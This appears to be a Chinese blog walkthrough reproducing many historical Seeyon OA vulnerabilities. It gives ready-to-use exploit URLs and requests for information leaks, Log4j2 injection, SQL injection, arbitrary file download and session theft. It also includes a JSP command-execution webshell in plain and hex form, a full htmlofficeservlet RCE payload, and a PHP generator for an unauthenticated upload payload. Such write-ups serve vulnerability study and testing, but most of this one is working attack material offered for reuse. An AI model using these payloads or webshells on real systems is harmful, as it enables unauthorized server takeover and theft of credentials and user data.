致远OA漏洞复现


前言

近段时间,Log4j2比较热,像极了XSS到处插,插完,dnslog就可能会给你满意的答案,有的安全人员已经整出了burp Log4j2的插件,想必小伙伴们都用过了,也是相当巴适。在这个热度居高不下的情况下,有人发现了致远OA也存在该漏洞,抱着试试的想法,尝试了下,真香。趁着Log4j2的机会,就把致远OA的历史漏洞复现一下,并写了批量url检测是否存在以下漏洞(https://github.com/Xd-tl/Seeyon_POC)


Log4j2

漏洞描述

致远OA 登录框处存在Log4j2漏洞

漏洞复现

在登陆界面,输入账号密码,进行抓包,修改login_username参数为Log4j2 payload即可
在这里插入图片描述
发送后,dnslog也是接受到了
在这里插入图片描述

数据库信息泄露

漏洞描述

致远OA A6 存在数据库敏感信息泄露,攻击者可以通过访问特定的URL获取数据库账户以及密码 MD5

漏洞影响

致远OA A6

漏洞复现

访问/yyoa/createMysql.jsp
在这里插入图片描述

用户敏感信息泄露

DownExcelBeanServlet

漏洞描述

致远OA A6 存在某个未授权的接口导致任意访问者可下载OA中的用户信息

漏洞影响

致远OA A6

漏洞复现

访问/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
在这里插入图片描述

initDataAssess.jsp

漏洞描述

致远OA A6 initDataAssess.jsp 存在用户敏感信息泄露
可以通过得到的用户名爆破用户密码进入后台进一步攻击

漏洞影响

致远OA A6

漏洞复现

访问/yyoa/assess/js/initDataAssess.jsp
在这里插入图片描述

SQL注入

test.jsp

漏洞描述

致远OA A6 test.jsp 存在sql注入漏洞,并可以通过注入写入webshell文件控制服务器

漏洞影响

致远OA A6

漏洞复现

访问/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%[email protected]@basedir),查看数据库安装路径
在这里插入图片描述
通过安装路径,推断出web根目录D:/UFseeyon/OA/tomcat/webapps/yyoa,然后利用into outfile写入webshell,由于jsp存在特殊符号,所以我们对jsp木马进行hex编码

hex编码前

<% if("0".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

hex编码后

3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e

木马文件为1.jsp,访问
/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(‘hextext’)%20%20into%20outfile%20’webpath+0.jsp’

出现如下图,则说明可能成功
在这里插入图片描述
当访问木马文件页面为空白不报错页面,则说明成功,进而使用木马文件
在这里插入图片描述

setextno.jsp

漏洞描述

致远OA A6 setextno.jsp 存在sql注入漏洞,并可以通过注入写入webshell文件控制服务器

漏洞影响

致远OA A6

漏洞复现

访问/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union select 1,2,3,4#
在这里插入图片描述
操作和test sql注入拿shell几乎一样,访问/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union select 1,2,(select unhex(‘hextext’) into outfile ‘webpath+1.jsp’),4#,最后访问木马文件的话应该是1 2 4就代表成功
在这里插入图片描述
利用木马文件
在这里插入图片描述

状态监控页面信息泄露

漏洞描述

致远OA A8 存在默认密码漏洞

漏洞复现

访问/seeyon/management/index.jsp,默认密码为[email protected]
在这里插入图片描述

htmlofficeservlet RCE漏洞

漏洞描述

远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器。

漏洞复现

访问/seeyon/htmlofficeservlet,出现如下图说明页面可能存在漏洞
在这里插入图片描述
接下来对其进行抓包,修改为post,并携带如下payload,也可以删除最后的木马,放上其他的比如冰蝎

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATddaNQeazCbHJUqRjidg66
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<% if("0".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>>x

上传后访问/seeyon/qweasdzxc.jsp?pwd=0&i=[cmd]
在这里插入图片描述
下来说下文件名这个问题,发现测了几次,文件名必须9个字符(不含后缀名)以上才行,要不然会从木马文件前面取字符直到满足9个字符以后才把剩下的字符写入到文件,表示不太明白为什么是9个字符,如有大佬知道可以告诉我,看到payload里面的参数值是像极了base64编码,但是解码后会发现是一堆乱码,这里其实是人家打乱base64的字符集,正常的字符集是ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
但是打乱后是
gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6
所以这里要修改文件名的话,你得按照打乱后的字符集来进行base64编码,这里我用的python

def b64str(input: str):
    RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
    transformer = input.maketrans(RAW, CUSTOM)
    return base64.b64encode(input.encode()).decode().translate(transformer)

调方法就ok了
在这里插入图片描述

session泄露漏洞

getSessionList.jsp

漏洞描述

通过使用存在漏洞的请求时,会回显部分用户的Session值,导致出现任意登录的情况

漏洞复现

访问/yyoa/ext/https/getSessionList.jsp?cmd=getAll,通过替换session登录系统
在这里插入图片描述

任意文件上传

ajax.do 登录绕过

漏洞描述

致远OA是一套办公协同管理软件。近日,奇安信CERT监测到致远OA的相关漏洞信息。由于致远OA旧版本某些接口存在未授权访问,以及部分函数存在过滤不足,攻击者通过构造恶意请求,可在无需登录的情况下上传恶意脚本文件,从而控制服务器。致远OA官方已针对该漏洞提供补丁。鉴于漏洞危害较大,建议用户尽快应用补丁更新。

漏洞影响

致远OA V8.0
致远OA V7.1、V7.1SP1
致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3
致远OA V6.0、V6.1SP1、V6.1SP2
致远OA V5.x
致远OA G6

漏洞复现

先制作payload,修改上传点后,运行php,获取生成的payload

<?php 

/*解密*/
$webshell = urldecode("%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00");
$webshell = iconv("UTF-8","ISO-8859-1",$webshell);
$webshell = gzdecode($webshell);
echo '解密<br/>'.$webshell.'<br/><br/>';


/* 自定义上传位置,webshell名字 */
$webshell = str_replace("../webapps/seeyon/", "../webapps/seeyon/", $webshell);
$webshell = str_replace("SeeyonUpdate1.jspx","1.jspx",$webshell);


/*解密*/
$webshell = gzencode($webshell);
$webshell = iconv("ISO-8859-1","UTF-8" ,$webshell);
$webshell = urlencode("$webshell");
echo '替换上传路径后加密<br/>'.$webshell.'<br/><br/>';

$webshell = urldecode($webshell);
$webshell = iconv("UTF-8","ISO-8859-1",$webshell);
$webshell = gzdecode($webshell);
echo '替换上传路径后解密<br/>'.$webshell

?>

在这里插入图片描述
访问</seeyon/autoinstall.do.css/…;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip,并抓包修改为post,并添加数据为managerMethod=validate&arguments=[payload],返回如下图,则说明上传成功
在这里插入图片描述
冰蝎连接,密码为rebeyond
在这里插入图片描述

任意文件下载

webmail.do

漏洞描述

致远OA存在任意文件下载漏洞,攻击者可利用该漏洞下载任意文件,获取敏感信息

漏洞影响

致远OA A6-V5
致远OA A8-V5
致远OA G6

漏洞复现

访问/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=…/conf/datasourceCtp.properties
在这里插入图片描述


总结

ajax登录绕过文件上传可太麻烦,自己尝试时发现传不上去,还以为文件名要满足那种规则,才能传上去,绕了一圈,最后发现是我环境问题,就很尴尬,最终也是都成功了

最后,祝大家2022快快乐乐、高高兴兴————(此处省略1024个字)——————

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码

)">
< <上一篇
下一篇>>